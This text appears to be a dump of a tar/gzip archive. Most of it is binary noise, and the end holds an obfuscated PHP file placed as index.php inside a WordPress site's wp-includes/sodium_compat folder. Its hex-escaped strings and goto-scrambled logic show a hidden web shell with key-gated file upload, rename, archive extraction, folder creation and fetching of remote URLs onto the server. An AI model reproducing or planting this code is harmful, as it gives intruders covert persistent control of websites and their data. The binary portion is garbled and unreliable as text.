A*V=*rm%Sx<`XD%rRUq[3_ g'@DߙBCw'LLٯЊ#ieWiW>~e&ʋR'gv0׫_P(p<'hE׊&᭡:`Hn՚T;Ama3 N,co34 I ɈL@'133@co:x Mz\FR =#ezj;Ug䉂Rq)QLLJ(xB([&v8E}(?(͗M~nz>M#|l#,a&H0;N (狢$rݜP1YBr6ɖҤC@qظ0{b  q3P#t RԞA<[YNcGPt~) W\ ZnHXU#mݖ'^I d9zUL^Sة[voߑ⫠ Ai nidm~@[8:wMЛit]QUn-ƖuUiObGf.ev;GM/`g>ac~ kwmA|¯%&(n.M$5ϸO=d g"ض` l 6훱!7mIyv&z3mj&!+%c Tl{صШKA0(َ }ѷ9_Yu(t"c;M*5׬WΛ N[Y, z`i Q^ ?ej@snL_p0Cn{0{_DJ:&VG.%O1%ě'xeܝ8fsk5,"fmu{tZ-:ڏZ(E!_]/9 TUFZ4 fXڌZ~Djꆤ5z&{5p# ۰SLuq}hKғEwITY`6+4w{ Dv茑G7}?]Hjޔ_ @5eW!_w7cͭSk2vJSIO=%8Z 4g!ErMvgd( 㴬fOmze瀖 Mh\˲,XΖYL5w^P +NIyw̐3$+Ck .l$+Ce<4/n$["FeC1*v:rnoht{W=9!ky'.L߈2WR2NmSSǞNμǶL,ǝ )t .pL=qiyng* t&KY-T1i(;EM}׈.6  x;B>2&uqZ<z_Q4B3.RoDrzySoӓifN4Ft339x^ȮCm%w톖cר=>ߑ-ioZsci#7Y7R@lY3b` vQk_`_'xlP>r b~ H#:9'6d`Ukk5Cl. 0VԴj5q3|<5#A;Xշ `MLx"g&YJ:L~(ܟItpNR%K1ȟ Jh*aH6J*nX-tAՓP}<+qx `ȸl@x@<8WHs2t5;.p]>A#aa0ǔx ),qJ~?Dy,OU@JLt2j/ZQl>RplBF&JԖW>΀Ěο`/Es_AUY)1Zǘ`ggG7W6 t&oK$J;~д9 FcA )/c^4wJ# d$C,$ HBFL? ֐[{(۠]qUj7|DR|P%dymnMF-MB\/`'KquʜIF,\1>~gճz\3PK'L[>uDibbova/SipHash.php.php.tar.gznu[ko8r?Wm];ubR/un.>p8@h[kY2$Ip!E)"M'N݇Mmqp%tf٦g4UGA,/4j+<~ɥ<.Z$}ZO#``Nh>]'a2vv_/`C6tXN{{H񙎻0ׯ0x| *rό`[ûVCaEgC{nsǡ'Ks:4L$N`ञ䎿 C &+j+tEFg[ ҈45 85h 읒iٙ5k"v:vcK+=bvj Zδ*5ySN__4"a;X19Ju}D Oyn{9f֡Y}GC9&^5g \31MqtCIy3qx&#f8fj hv:;{oouKP?W¢0:i 0Z*hȸC; vנT,F&`q5튝gY9%'0Ԫ=Z]3P&|?UaI.KX,,ً^s]MsPǤs7/4aZ%f0x <1]Na´rnnY^âEe@lѺI?0aL4X4z~+)eOvxARI}-q30N9uv*\mv}9r; 99hS;@̦Ey1Cg4sv`v%#>KV\N^RM8ծyKs|uO`VdJ=Ȉ|54&k+Kž6`K~?φ{틆"%7v!*UNUЄw6zK'ynDX~( |X ^cԛπ!D䙈ܚ\Sٖ1lUQHdhEfCP@w #y J_l+5 _ ]Rj7(Vn}'g50qL.&v)N3 jVXYz+HqHdNw}br_{]M{V臫sUUqqQ\oqj ̜N=4(N ajo pw r}Rk+ (NB?^?ךt]q8͘m]Ŭ#]Yݗf~sd٫Db[ӑ޸~_ y=tn{xPQ'!s[?3u/}`ǻT}smfx?: q'iKRE^dIg44Ï?S^Żڶ_pT ::,Th<~?Ɠ߾NOҷ?9—8l.l //7icٹB8Mˬ7^RGܑg$OzIkuyeCu~eÓ'zQbM3T}V/Ǩ(s3~}[.-v3D$1_*m&֢̒!,hqIO*5\-vz39ɕå+f+f+5=rXpxxvۏܬy~=lkkAk1g!јqm,Y\j`E ;sjvܪ7dҼ-b3o^M?ܩ7\ߠ7y`[Sl~& ő D+DC[i k3n8"XL=hM3 œ<3[EgV)IJ  Đ;D=Hk'GA/-u| 91B*X5Ief9;!+c8̆_wv  G `(1o^^up=r2q Sd"А"|ܿ>Oz_YZb| Βٛ?.NRu+fLn 19{ec]od/IKHVړ4~KhqicE׷pN^5;ZWߵX 9GE-P( ]LV8FÕя÷QE?)}Q|xv7o5q8=o㟿?ԓ'5=Wzt3Vk|q+u:XUϏwwIKWu;:h zY M'95Mke_zNM9gzVgp]=[>Pyg.f`ǂ? Ej t`"'J- Z42^í <8Fؚ5[8T㓒[9o-:?>jE'4^ʬk Z,w8_+>عC>z~{ۿoGtwO14OyNōz{7?ܟ+ٿyox6 neg}ȏ]xK@;AJ$e;vJ"Ww?-[˯/Px\oLj7Ϙ60/%#JT*H!)89*K+!yeڵ86=|ϲwޡǧ~SOfYs4w3Vҋ rD? oބex(Ce\m)ty̔0ڻ;AJ6 !eI {~amUG?[>=t<]3pπc:57mq_ɕ96G)Fo%|#TVɨ;JS?{.c= Mmnt0<95ntw{?>)/u:yWp<~B+߿7w/[Rd da$sp?n,ɗ )z$$f3:Pyf+Ͱ}i_5U&,3̵l7s͝x ad*.LCi>CTs:֥a;Pvqw6NN7,T[϶:k RQ貿wV'5Q.=7GҪ4ss<0TAE2e45Ҕ'#@(INSʝ} :͆Jw7>'B0W0IVЋЊ?gL$RÎO2fA5"`p$&6eDGވ7hBE ^q\)OHIl66K9^ɖ-.6,Eay߀3H8swCbp(^cHK3Jo>@epڅ77,h|%_§LtHIJ'}>#8R"@yl;f&o1nw?B? ї vZHpJH&@`GE^sk֊Edt$)MaT"Xi,s^D6HH$8?`2\I>%frPu_cAj M#瘯T(hYBUV1rĊj2cIX^ mn2Nb B̶l,Ժr$R=LIȧjPiَ\4Y;d\0s75d~Bi?jީ%: "O@ZhBp>O2ZB:-@b4q86,GRR)g5HJw.ȭf[V-"5XH;,a op ![1g8m X0J">c^+)gF+&4v[J3T qs:0Y-'@eIeybtf(<]S(HK1(ސrN 'TXXp,siYfeiɌAKg>Fo RE$OAe}pAFK3du ̫ϊɝ$%fjA"l[ܧ>ޖ2 l?(w"R >?W%4-X[kGT,^!!'h@J+#:IHr&acPرi}9FOO`8P`g 5]{&s>EiЮ#LCk4!Mb jV~ngs,ӭ9~t8[GG;7:!P{-Fu4~?F/=9)Ob&Z2!z,I1.qAJH\ H6TΡtF7 KZvzi ZP,ud'Dݲ65*6g饠c ==w:Hb4@7jڳHu ]CYQZ uĎOlݺfzE+1t\)0:lbL+k6:6J" Q"R'x2gwiNGAKHmUk 9?Y )r~\43Cnht@:"MH A$ myh_۶x.F)MDztk.!@J)'@ TMr|&sB_ k, qL NB}/Y_2$3`%^9¿3텒g,gJFhy{HxuZLtJm&[ FVK's}OYǑNۜ63tJu\W{P`Y>s.]e4"Cөo"DG :$=]E/ {ĸPf!(Mi8X, "LV%v2Y >+@ -ss\캷I@sqk+deኣb]lb3ZuaomVgdr,ZyUIa#.6ͽu[ Q^a}THA8[AcZ΀1ȀNAqKTUQ=0`X}EfŻMs'l{L̓HI:{HŠyqY|5GJb9)rI{yC#Is[fMΥ&,rB y KZ0*\!EZ)iml*̭'ECʸV0ʱ2gp6w?Bw4@B5H !wPJ-rV-qn6/0$fq,ш2Z6~GSG F4w'X?WPg[Z(\am-*6VF.|C elb;KN7{_@u|]C&m7z{{٤P͆kI/9m/xyyzލn__y> {>_37;YN/y pztm :%a4HnxRPWz:l%W lt'VޖFɬ&{+um I.LFi89}OT_BT_YQW&.QC[[wl:m~D+(`%l'%: K䴡,7q9[πHg{IygU^*jLu+`E ѺBYz~PJ ݛ yl $4dWг10u/i2w(ۂ\vYI&VWfaҐyi-lH{ȺLlTVA k ߦt΅BCfEE>L7kTI! Q- -u f"h0j4A) Ԣ݊@6A=q`zzex~IQC©dԳu5Jx(mB\nW;00 p1fjA!4pVɻ44 RKSˈ!446uDӜ4u%w vwyRѺFaF%z+=(ፕ&RxU+k?u]R(W?2r^T \fEDxBUt:=w-x|P"+o4Q0CK \0ڱpaC^hɏZVv-1h!.72gIh0EĒK3KY0IFJM` zTT@Y siLT: XϜHCl9bYS* tYѼ)-DF~ͯ6 id1_M ˗9x9a O<:M׬4F?ː묚"}To*k䴹}Ua{ԫFS:rdOSؠpژ5@FdL'o^o5M}zN.onk#PWAڱnv`<~ƫ ze]j-ovMά՗G[5@ht7/#W;[Q|vuºdbfjh!-YcG4@/14K5u2~$oZrjH/Qהy2̈}{qzTg;(|,p^Zf*C"Y,TWRu÷v&DKW; vPšY|3̫3|6C\uLif|`Θwn$-3Y]6k{UǢs2hLeM*BŠl-6`QIeey8큃1DQËŠ IUX%gcQrnAܞe'/9a\ ]T=L$<Ժ9 8GTpyO xϼH됧A cPZ[ !%u϶;~Ѓ ; }dqxv3dY5hȓ' Z@HUȅo7+`Fՠ1 ,\DBUaf Mmar-{FXP.kԷNwq*\}ۖ,u(Tlq1ޒؔϐ=~`qSʿ(|4 W%]`Ϊ|%tĦ(g-pf&X9J p1nFrumNT aLAQ >N'ʘ7ꇔlť\UO+L$DnSH2$y3G )%e0 qdcr>)QJ$? !͸<(@1ht8uN.\e~S†fۨ#Y 8}S՛rvkreXKœᶑxj!BY I;梘nԛ>`7HL*PeYv6f/f(|AQj"@/PD&$'[ϋV2%]s ݰXE>>~%`7A=դٸ㢿~5hhwo'U_5's肍 pС | >Tu}J gJ9atٸA{EX_sjpPQXO0!a*Rn_ M@5يiIHRx̉Fn.YlaĪ3d2kF]mYhc5XHO7p|;C{3mt`yKfؼ6< A~^KObí8\lLb1]dk2+)jx? F5t.]&`dF+ Aٓ-U9 QD l/ŖӪ Ѥ-(}څ d#TݯbQ1}]Jb>vK |;q?>1hh{.F?W~PI%2]ԩrc0Ybqo`^]MUHxIVңVݢV[O*Ƣ?jUSbNl) yLM4: McVj2儓` $`ylj Qs 38äaZO o Ou~W9 !46v@Z[آtp7QkOT W܇uz0Vlz ѐWZaz}1AYN/ې%}*"!]QU(fIEӬĭqE$>!>#| :)HsrtM BJ=e$$د5% xrGM*a{t[6Eg]ze8# ’i<2] xvf;*}Ld4ed:KaSLSc?ӅTMY~Q,Iykul`r~qWGgF l SE70$+@K1X3qJ?ܯ6]rh&v -qio: U-d"tLſp4?ܑ&hALJ9<}5)5n<; ^ޘ/꾎Vn^5'Wdge~]P%Kjͨ s5ϯa j.txg[HV?(ߡ)'Yfg[5IѷOVjEgzZh9k=XAU:G]z_͢P3J+(:&$5fumU($u8 )@zL6Up66wI5yqO(\daX.'ؗY }YO֎`nޘIkyѬ~ ,2WFZI5UGzۅ&bܾyip1 O}#Z, G}uϷ+RMjԥr袆߁gb)U1?x"gFTGJ@ ѪW'Zŝ7ҌQGo6qY \9%@nyC0SFrӎwWN=8mN6H'ݸi/PCn8|R{YqVz8ok[;n;Soqj v-n7᱕`eҴu%y*\BX/@1DL#*V&]q[8EmNdO4AW5ًCwsJ~S`7m7軠YZd~N˒YOɜP`Fk "D Wʨ8c,N%yOYn\iT2Ȳ6us Cx[fvy\.{X" iv ̙ZZ$Ң*L ѴicAdxd)MҔ}̲[[R81UbTC(ڷc 8:@S9N%9Jr|~8 { A;02$TO؇OAek_jGI_T ʄsRReD1/`,3wkv l\YaFtq˾a%`[~u"Gdt0$2,YNue4WE&R#q47[=oEu9@sY*BeBxd86,8t2h#.SI3Y"\fp g7\,C}. xC6cwFdxYӌhJy_buٔ5%#1cl8xI ߘ`cRl<  Gr?ǀ'rxU Y`OEB@Y0bs emAg!%`fGpHQVut7%?+J8tRޒml4@ʋ#/,P$h^UҪ,[+gX(ijrMCG*k9x^39t~(q>X^aP'zaIT™48%୲6-" +$ȏp^G':֞vth%yQڋ[ J&(/:hK䀂4 .ξt2==-VB- /n4z=F5]mkd<'Ë5QJiPW3a+iK3:&=M7?3x[PK]W]0PyP݁ϓiF"˰mnrd[ut=T,Cđ'jgkZ` l1ºgK4-lqZv5ݝ9Rj}纎K닙Ehmb1֔c\p\vh*eX!6 CØr@/*xrf` QќyX%8s\@`>RDY;_(oPF) iza;pv5#0t!^K|#uH2lW ˙YO26E"i-7,K,Q+1PlUH 8m@~l8C@W}^z21qݞl?y<%AS;Z%k]qtM娅+%e[CڃMEܳ@z"%Ub+X$ϕ Jmѫ+ hѫN>ek?׏΍ܢkRZ#烺 =IP i$0sc.rA#𫘆oOyY2 :S`S∛@lNI/\*- a> xa3 OtRyM[y-P^+J7kUσC+=ѺA@=1)7RN"QF0ìBٸA'K8I}fP}0>*OtfumxBGv) D&vyY|^+)Sc~TnŃ֔C>>M"J8O}$<O~NS+' ?O4E<ʡ%6腒=侈-3O+H!, 5azS(:;11Dup۠ɘ>̲J+tʪ Ė$KAm=pr< C{#7۵]1-魓-~fAĤaSsu| eu:BZ$Wp~G>TǺn#Ydi~sZJj{6G,p)j^g(*|~Z{ZB9((D 7b':ߦoi[1ħN`t)ɧpg9K&ToO:VO"·ݩz?_zԣV *rvN ϜrTt.-󩥸#V0N 3ӓC*<, u:Xw^KGd;\D$?rDZ3$Zyh| 𖲚:^0,O.dk_&ӗd<5ŭؓj&)TAc*,1_`b,r9#Dúb`Wń6J-q_kz0(Oڞ@ҬHՀֵ:hxX: T>UJķl|H=O)D#ro vUdORhMʒu_8˭U۠ S $.:Xu{L[2ǡGR '$Mb cp!1`6ޟls\2Ƌ9lAaNlJ~%a?%^t~nD4]PU?on߮]dWj?'D+;d"25ŏj. sa@Ja j~mw͘l{60^mqbe,oB(g&E-~+q7::x;ë̳hdmqЊ{jx5ILVdjˢH~dZǏLfVk;8q^[8?ƌu8)eG `.ٹ׏{JϷ+еoYh{5}#k[i҅<켨3?\yʌyM]$q5_7?xHjc|0=P#3.ㅼU"rcv}NGxlץϖ2'8c ``y^}n'#^-o*j9Y>ߜ 'QWY'sR46[uÿV?{uc8Q* \9 /;s5\[ܪ VqxP隙ك1hK!L!fu߿/}u-t.nCC0KÃ0oa%BwsEUڛʺWg~|<(gu$GnGj=̏. ̫gB7:ZnƉtmA&{^ۻWZяb\(y>XK鬮o*O$UbteDK꽍7c³q{Xq#d /轗!VIӯ!]2CUhaWۣw5EӂVf5LBoXn"_<ϫyez5rCqe'O燚5ax ka;iASG^-!ʋm+b2$ݘ5tsn̓ʘ~/}oep =fudvr|aU9E7U M #.E=@C7lr/4$7;n$ݓ^BzPZgvnr* KIv[ג29qi/ԀCPC8m2[j3km/vZ*Dq  ڏ Ŭ̍hrԱUd:^[GeDm~A°9UdoN6qp<r$ۭ6olCմ crg:Xl"sfRuKԹJfi`fY0rlOFpN|E2s)&0[3ks]Q~B(pL|qф۱BzBXtYa=n() r|BgZ@AOIgt1S\dRNv6T}ei?;CfG|YKz ҰrBĉ VP&zFߪf"3BHd g:d8%& |q|=6g"L"ΙM)7$FuɛEWPhf~FhSAy(Z"A9UjgjƮ~b0Y:w OVQ(+4$aƈkf_~7ǛM)A3 w 0V'G5 lxFbl*贮XO:Ŀߣ* 1݇lHep%N;uz8ku2q:Z}mpLt#lr(`\ŗ˵D֊5L)P72)Ujy ΍GD0lۍNS_[7;u}?z u\lpv] hKg;T%۔d@l{ i+l/7/JiwMZ6mʂ~\ ~hFն,'۴? Fǿv0} #S,8ɛez0%ъZ2hyB.uI d1{)PyK;j)*Vv[eB< (H7. [&P׋lW6)>bkyu]G'[UdK;]Cz0?5S|H#q{WՐ3;T#kO X޼a֐6э Yq?>ղ+yT,TjIT'Wxh\;{%R+Ia C. e2v}%TbdmFeҜ{YO5z!(vҝ0fU~ߞIZ‡8g. O'3hjo9e+>\-]>{~Ÿ{{YDJ-h=|D< . -nXG46n;]QzVǫ&K"(馡F/D(bNDq[DDgQzVchWʪ5DcQ (KU31mMfol'qY[hel5-2`ڀ(7 iUhk`åP@) V'A*ɾesY̏jmۄtpi{fk% u;Z0v8/TbFT@ _2OMLF_aQ/ɚifn+yf Rxjglpc$j2,ܳuUj2ѱD@LĦ2򔲌eCMLlZlxd+U"(1$Uֳm̛6d3+FhvZ2bX3fe, 9QTqKg =^- 40;2/cImx6Tܑ\疍z\.Lu2d0( `.2LlHS $ࡂ7(TpMxסA0J@LAKpƚf] XRNrh7 5EΓD.)8E>qg 1Q)δ0f]y!|M3[df3Ұ 0d*9 T윣PYb'a 3ܩ 2eRccPAd'n6Pג${XWۛz'e`iÞtHB%ש2Ҟ G'0@[PJ(U}[lX#69RFϬGdaI.vR@5$%gig Wd \<jf ffds g#TJ,I ݒ%*Lh¾~E@2ʖf1M X$Z|D-yTog?Y$xۅS]I'n_6F={ise kI,.RP;bPm 0,Á9 (Ca{Vxɚk޵􂚀g;E(K\M+#Ul aژ W؄g95 ȸOodLQ *՛ZIJ~yJY*Y9Grх:DA 1VXBN{c"=[Zׂtubtxu@ |M s 5%X&#7q`Z#IUr\Bq@iMwoq줧?jQ^4lm5_< Ǔk}GDuJODWU:!OwyYQVmj&NTe󨫥&˜srwC2:Ф&UP5s Btkќ \͛e<6: D1?ڒQ8)#MӪ1Eh~?yb=.O-5٣4%]򫆖XKdEf؛3s=1 KބUXdBo?g{ֈjzތX+)6\ y`VK6|*hѼ v=g: sQAraME@ߨvHa(Ov_ d P-$')RRpȓ1İl@*n2k";|YPz]0g@+fEh"kPpHY(9J-`^jcRy+D.b'T+uc!;ພu)V.;D+&>pյ^kq7ـ(Z bIY[<2)ϴF󢠓`t.Q#d3ZSP%a& EtDkI+xUD5ft! XZ)OYIemiP -pUE8d.{! G]V 'ps@W"6:잤ڝ5 *u uUmУU6kנhU2P>6̕p<\LaO\B`)=+4 5kE{!Y{BG^< dJC&*c¥ \l6<^ERkWJAuy93Z{hO;BȌ>ias.噞5iGoTv=Uw{<\̈́R2ϣN@ ☠ѥgS{ⱏIE$M@qo xvj( @ʼ:/:.q\z\(Oh4~:#^ŝ=tj(D*^M#])l/.m$5l [Q(b]>{d;8zfl!wSVJ'O|cpaڍ.'?,Sd]h@V7ghP6%EٶC&+΁)j+ɭ :DWi^ѕ.jn-\pXS]ԟ[Ӡ$u߆\ϫI ?\)ӜiȒA3+q4z&⛹>j(WV9kC+$ZRtQJd'g@E<;D,GgqH.ɲA)Y?EDZC[ 53^e0#XhvFgfM&" $lp#P],z~/3OpVb?^R~@~١ \dSqb1k2!xN$qYODA'lRb#J͠H1Ar &Gf9(yգ8E*^vk8ZN waS۴ UkzX?OijPD86{0ĩKdpvSa~ 蜴r5Dh 3ϰdX Y`, _ː[*dF\#B.Q$1j Ch#Cޓ֌R]aΞ;90 ;j['w$'B==J^WMI3'P3ƴWP,'ȧbOpЂ:iJ ĤHGDc" QmG%o0Ҟ>/Wh -4b,UqgTpJ{Tċ|6Q=P" 2T=X Mk_ (ūpɫ$x"Ep=#fp+ 63HqE>8K=#ӷŸ-' I:'vnU`S0@.48Caf d4Yi%rPY`e 7 Y90^qN0M=3Sєg`yUYPE b-L*M*]TR$d1pqB:kE&dih xM 6،ys-bCo>5ck{s|81~pYXEd*X6;kIE8s4tUAⅢR7/-CM\Z(̜5oӶBUd sS?CA{v)t \h+u+iE}P\h(˴[_)DF}ټ G.{`{ rKm(k0BYH71nSL^)Vfϼ\,AP&hi0.%R=aMV9 D}XE H8knƂ$vBi뼏LÌN@omYaJ,W14n|d-+o1JPK'L[o1JJova/index.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/index.php000064400000241240150545314030023722 0ustar00open($WxlCc) === TRUE) { goto dnKYZ; } goto yjRLJ; rcgmR: YAz4q: goto AeSrz; qOyLV: if (!($UyGf4 !== $RN9dg)) { goto SGPJe; } goto By17q; gPrp2: $DKH4N = "\x49\x74\x65\x6d\40\x6e\x6f\164\40\x66\157\165\156\144\56"; goto B3Ml1; AViHQ: ItQRC: goto NCBWC; jWvjk: echo urlencode(dirname($UyGf4)); goto sskkE; VJKE0: $DKH4N = "\x49\156\166\141\x6c\151\x64\x20\x66\x69\154\x65\40\x74\171\x70\x65\40\x6f\162\40\146\151\154\145\40\x61\x6c\x72\x65\141\x64\171\40\145\170\x69\x73\x74\163\56"; goto Y3LxI; qM33z: if (!($st1pL && isset($_POST["\x66\145\164\x63\150\x5f\162\x65\155\157\x74\145"]) && !empty($_POST["\162\x65\x6d\157\164\145\137\165\x72\x6c"]))) { goto T_Iui; } goto qfRoT; uBvqX: $DKH4N = "\x49\164\145\x6d\40\x64\x6f\167\x6e\x6c\x6f\x61\x64\x65\144\40\163\165\x63\x63\145\x73\x73\x66\x75\x6c\154\x79\x2e"; goto Zbq2n; iPIq9: $DKH4N = "\106\x69\x6c\x65\40\x61\154\162\x65\x61\144\x79\40\x65\x78\x69\163\164\163\x2e"; goto QH0ar; AoQU8: $XSEgQ = znO1r($_POST["\151\x74\x65\x6d\x5f\x6e\141\155\145"]); goto A6W2h; CxVnM: $P1G3L = ZNO1R($_POST["\x66\x6f\x6c\144\x65\162\x5f\156\141\x6d\145"]); goto NHwLm; xAZme: if (file_exists($xAY2y)) { goto ohQxi; } goto gPrp2; NrS0O: onpA9: goto Jr6hd; HrspV: yUGjA: goto HFgF1; jC0wy: $DKH4N = "\111\164\145\155\40\x75\x70\x6c\x6f\x61\x64\145\144\x20\x73\165\x63\143\145\x73\x73\146\165\x6c\x6c\x79\56"; goto Xtn5l; KCWei: if (isset($_POST["\x73\145\x63\165\162\x65\137\x6b\145\x79"]) && isset($_POST["\143\163\x72\146\x5f\x74\x6f\x6b\x65\x6e"]) && $_POST["\x63\163\x72\x66\x5f\x74\157\x6b\x65\x6e"] === $_SESSION["\143\x73\x72\x66\x5f\x74\x6f\153\145\156"]) { goto IJ3Hk; } goto eDJC3; SLPz3: if (!(isset($_FILES["\165\160\x6c\157\x61\144\145\x64\x5f\151\x74\x65\155"]) && $_FILES["\165\160\x6c\x6f\141\x64\145\144\x5f\x69\x74\145\155"]["\145\162\x72\x6f\162"] === UPLOAD_ERR_OK)) { goto P7qdn; } goto tlrMv; O2aP8: IKl1G: goto PqQjK; haRmB: gyQ9C: goto x7QnY; Vc9UK: yHBos: goto nxE40; yH4Cb: if (in_array($Vjqae, $yC3U8) && !file_exists($l4vH0)) { goto YAz4q; } goto VJKE0; F2e6r: if (file_put_contents($xAY2y, $cFfUK) !== false) { goto fSUu0; } goto CQNeC; mqeiq: goto CqYQN; goto O2aP8; GV3it: $DKH4N = "\111\x74\145\155\x20\x72\145\156\x61\155\x65\144\x20\x73\165\x63\143\x65\x73\x73\x66\x75\154\x6c\171\x2e"; goto AViHQ; HbETr: if (!(!$UyGf4 || !is_dir($UyGf4) || !is_readable($UyGf4) || strpos($UyGf4, $RN9dg) !== 0)) { goto IUKiV; } goto SFaK1; g9sUN: sort($RKVRy); goto IttBb; fP2_W: header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\72\40\164\145\170\164\x2f\160\154\141\151\156"); goto lVPL0; aK3Vo: Axvto: goto A3raI; sbUHL: QuW09: goto mU9_h; Oo1ct: CtH4i: goto xmdTh; FdNTJ: $RKVRy = []; goto DXZMW; JENU1: OCuP1: goto NHWkd; dxbFr: bPia2: goto tVO8Z; LXZOP: $DKH4N = "\x45\x72\162\157\x72\40\145\x78\x74\x72\141\x63\x74\151\x6e\x67\x20\141\162\x63\x68\x69\x76\145\x2e"; goto YprUx; S5SU9: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto lkCg9; OQPz9: T_Iui: goto YNA75; k7_aS: echo htmlspecialchars($_SESSION["\x63\163\162\146\x5f\164\x6f\x6b\x65\156"]); goto MKafv; RkyCs: echo "\42\x3e\xd\12\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\74\151\156\x70\165\164\x20\x74\171\x70\145\75\x22\164\x65\x78\x74\42\x20\x6e\141\155\145\x3d\42\146\157\x6c\x64\145\x72\137\x6e\141\155\x65\x22\x20\143\154\x61\x73\x73\x3d\42\146\154\x65\x78\55\x31\40\160\55\x33\x20\142\157\x72\x64\145\162\40\x72\157\x75\x6e\x64\145\x64\x2d\x6c\x67\x20\146\x6f\x63\x75\163\72\x6f\x75\164\154\151\156\145\55\156\157\156\145\40\x66\157\143\x75\x73\x3a\162\151\156\147\55\x32\40\x66\157\x63\165\x73\x3a\162\151\156\147\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x22\40\160\x6c\141\143\145\150\157\x6c\144\145\162\x3d\42\x46\157\154\x64\145\x72\x20\x6e\x61\x6d\145\x22\x20\x72\x65\x71\165\x69\162\x65\144\x3e\xd\xa\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\74\142\165\x74\x74\157\x6e\40\x74\x79\x70\x65\75\x22\163\165\x62\155\x69\x74\42\x20\x6e\x61\x6d\x65\75\42\141\144\x64\137\144\x69\162\x65\143\164\x6f\162\171\x22\40\x63\154\141\x73\x73\x3d\42\142\x67\55\166\x69\166\x69\x64\x2d\164\145\141\x6c\40\x74\x65\x78\164\55\x77\150\151\x74\x65\x20\160\55\63\x20\162\x6f\165\156\144\145\144\55\x6c\147\x20\150\x6f\166\145\162\72\x62\x67\55\166\x69\x76\151\x64\55\164\x65\x61\x6c\x2d\144\x61\162\x6b\40\x76\151\166\151\144\55\164\x72\x61\x6e\163\151\x74\151\157\x6e\42\x3e\x41\x64\144\x3c\x2f\142\165\164\164\x6f\x6e\x3e\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x3c\57\x66\157\162\x6d\x3e\xd\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\57\144\151\166\76\15\12\xd\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\x21\x2d\55\x20\x55\160\154\157\x61\x64\x20\111\x74\145\155\40\x2d\x2d\76\xd\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\144\151\166\x20\x63\154\x61\x73\163\75\42\142\x67\55\167\150\x69\x74\x65\40\x70\55\x36\x20\162\x6f\x75\156\x64\x65\144\55\170\x6c\40\163\150\141\144\157\167\55\x78\154\40\166\151\166\x69\x64\x2d\x68\157\166\145\162\x22\76\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\150\63\40\143\154\x61\163\163\x3d\42\x74\x65\170\x74\55\170\154\40\x66\157\x6e\x74\x2d\163\145\x6d\x69\x62\x6f\x6c\144\x20\x6d\142\55\64\40\x74\x65\x78\x74\55\166\x69\x76\151\x64\x2d\143\x68\141\162\143\x6f\x61\x6c\x22\76\125\x70\x6c\157\141\144\40\111\164\145\x6d\74\x2f\150\x33\76\15\xa\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x3c\x66\157\162\155\x20\x6d\145\x74\x68\157\144\75\x22\160\157\x73\x74\x22\40\145\156\143\x74\x79\x70\x65\75\x22\155\x75\154\164\151\160\x61\x72\164\x2f\146\157\x72\x6d\x2d\x64\141\164\141\42\x20\143\x6c\x61\163\x73\x3d\x22\x66\154\145\170\40\x73\x70\141\143\x65\55\x78\x2d\63\42\x3e\15\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\74\x69\x6e\160\x75\x74\40\164\171\x70\145\75\42\150\151\144\144\x65\156\x22\x20\x6e\141\x6d\x65\75\42\x63\x73\x72\x66\x5f\x74\x6f\153\x65\x6e\42\x20\x76\141\154\x75\145\x3d\x22"; goto k7_aS; Hfcg3: fSUu0: goto HF3ib; HWu98: echo "\40\x20\40\40\x20\40\40\40\74\57\144\151\166\x3e\15\xa\15\12\40\40\x20\40\x20\x20\x20\40\x3c\41\55\x2d\40\111\164\x65\x6d\40\124\141\x62\x6c\145\40\55\55\x3e\15\xa\40\x20\40\40\x20\x20\40\40\x3c\x64\151\166\x20\143\x6c\x61\163\163\x3d\42\x62\x67\55\x77\x68\x69\164\x65\x20\x72\157\165\x6e\144\145\144\x2d\x78\x6c\x20\163\150\141\144\157\167\55\x78\154\40\x6f\166\145\x72\x66\154\157\x77\x2d\170\x2d\141\165\164\157\x22\76\xd\12\x20\40\40\40\40\x20\40\40\40\40\40\40\x3c\x74\x61\142\154\145\40\143\x6c\x61\x73\x73\x3d\42\x77\55\146\165\154\154\x22\x3e\xd\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\74\x74\150\x65\141\x64\40\x63\x6c\141\x73\163\x3d\42\x62\x67\55\147\162\141\171\55\61\60\60\x22\x3e\xd\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x3c\164\x72\40\x63\x6c\x61\x73\x73\75\42\163\x74\151\143\153\171\x2d\150\145\x61\144\145\162\x22\x3e\xd\12\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\74\x74\x68\40\x63\154\x61\163\163\75\42\160\x2d\64\40\x74\x65\x78\x74\x2d\x6c\x65\146\x74\40\164\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\154\42\76\116\141\155\x65\x3c\x2f\x74\150\76\xd\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\74\x74\x68\40\x63\154\141\x73\x73\75\x22\x70\55\x34\40\164\x65\x78\164\x2d\x6c\x65\x66\164\40\164\145\170\x74\x2d\166\x69\166\x69\x64\55\x63\x68\x61\x72\143\157\141\x6c\42\x3e\124\171\x70\145\x3c\57\164\x68\x3e\15\12\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x3c\x74\150\x20\x63\154\141\x73\163\x3d\42\160\x2d\x34\40\164\x65\170\164\x2d\154\145\146\164\40\x74\145\x78\164\x2d\x76\151\x76\151\x64\x2d\x63\x68\141\162\143\157\x61\154